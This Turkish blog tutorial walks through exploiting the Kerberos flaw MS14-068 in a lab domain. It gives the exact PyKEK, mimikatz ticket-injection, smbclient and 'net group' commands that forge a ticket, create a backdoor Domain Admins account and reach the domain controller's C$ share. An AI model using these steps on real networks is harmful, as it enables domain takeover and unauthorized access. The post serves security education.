MS14-068 Kerberos Güvenlik Açıklığı ile Hak Yükseltme Zafiyetinin PyKEK Betiği İle İstismarı

Microsoft tarafından “Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780)” adlı güvenlik bülteni 18 Kasım 2014 tarihinde yayınlanmıştı. Bu yazıda, MS14-068 hak yükseltme zafiyetinin PyKEK betiği ile istismarı incelenecektir.

MS14-068 zafiyetinin istismarı için KB3011780 paketi yüklü olmayan Windows Server 2008 R2 bir etki alanı denetleyicisi (DC) kullanılmıştır. Belirtilen zafiyetin istismarı sonucunda Levent.Altay adlı etki alanı hesabı Domain Admins yetkisine sahip olacaktır. Bu hesap aşağıdaki gibidir:

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-01

Zafiyete ait kaynak kodu bağlantıdaki Github bağlantısından [3] indirilebilir.

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-02

İndirilen zip dosyası çıkartılır.

ls
unzip pykek-master.zip

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-03

Öncelikle DC’nin adının çözümlenmesi için, Kali’ye DC’nin (DNS’in) IP değeri girilir.

echo nameserver 192.168.4.48 >> /etc/resolv.conf
cat /etc/resolv.conf

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-04

Python koduna elde edilen bir etki alanı kullanıcısının adı, bu hesabın SID değeri, DC’nin host adı (FQDN ile) ve bu etki alanı kullanıcısının parolası verilir. Daha sonra da oluşan servis biletine ait dosya, herhangi bir yere taşınır ve Windows bilgisayara yollanır.

ls -la
python ms14-068.py -u Levent.Altay@ornek.local -s S-1-5-21-2894599646-2825042678-4174893972-1115 -d DCmakinesi.ornek.local -p La123456

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-05

İpucu: Kullanıcı hesabının SID değerini öğrenmek için Sysinternals PSGetSid aracı, Windows’un whoami komutu veya wmic aracı kullanılabilir:

wmic useraccount where Name=”Levent.Altay” get sid, name
whoami /all

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-06

Windows bilgisayarda yeni bir bilet oluşturulacaktır. Eski biletler ile karışmaması için tüm biletler klist aracıyla temizlenir:

klist
klist purge
klist

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-07

Yerel yönetici hakkına sahip olunan bir bilgisayarda, Mimikatz aracıyla eldeki bilet ile yeni bir Kerberos bileti oluşturulur:

mimikatz.exe “kerberos::ptc TGT_Levent.Altay@ornek.local.ccache” exit
klist

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-08

Windows bilgisayarın belleğindeki bilet ile Domain Admin yetkilerine sahip olunmuştur:

net user /domain
net user Hacked Hh123456 /add /domain
net group “Domain Admins” Hacked /add /domain
net group “Domain Admins” /domain

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-09

Not: Servis bileti oluşturulurken kullanılan Levent.Altay hesabının parolasının değişmesi biletin işlevselliğini değiştirmez, bu dosya kullanılmaya devam edilebilir. Benzer olarak, bu dosya başka bir etki alanı hesabı (Jale) ile de kullanılabilir. Ancak biletin geçerlilik süresi dolarsa bu bilet artık kullanılamaz.

klist purge
mimikatz.exe “kerberos:ptc TGT_Levent.Altay@ornek.local.ccache” exit

obtaining-domain-admin-privileges-by-exploiting-ms14-068-vulnerability-with-the-python-10

Not: Yerel yönetici haklarına sahip olunmadan ve Windows bir bilgisayar kullanılmadan da etki alanı denetleyicisinin (DCmakinesi) disk sistemine erişim sağlanabilir. Bunun için aşağıdaki adımlar izlenebilir:

  • Levent.Altay’ın kimlik bilgileriyle bir bilet oluşturulur (kinit Levent.Altay@ornek.local). Bu bilet otomatik olarak /tmp/ altına kaydolur.
  • Oluşan bilet kullanılarak rpcclient aracıyla DCmakinesi’nin paylaşımlarına bağlantı kurulur (rpcclient DCmakinesi@ornek.local -W Ornek -U Levent.Altay) ve Levent.Altay hesabının SID değeri elde edilir (lookupnames Levent.Altay).
  • Pykek betiğiyle yeni bir bilet oluşturulur (./ms14-068.py -u Levent.Altay@ornek.local -s S-1-5-21-2894599646-2825042678-4174893972-1115 -d DCmakinesi.ornek.local -p La123456).
  • Yeni oluşan bilet /tmp/ altındaki biletle değiştirilir (mv TGT_Levent.Altay@ornek.local.ccache /tmp/krb5cc_0).
  • Böylece DCmakinesinin disk sistemine tam yetki ile bağlanılabilir (smbclient -W ornek.local -k //DCmakinesi.ornek.local/c$).

 

Kaynaklar:

[1] http://www.siberportal.org/blue-team/securing-microsoft-domain-environment/analysis-vulnerability-in-kerberos-could-allow-elevation-of-privilege-ms14-068/
[2] http://adsecurity.org/?p=676
[3] https://github.com/bidord/pykek

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.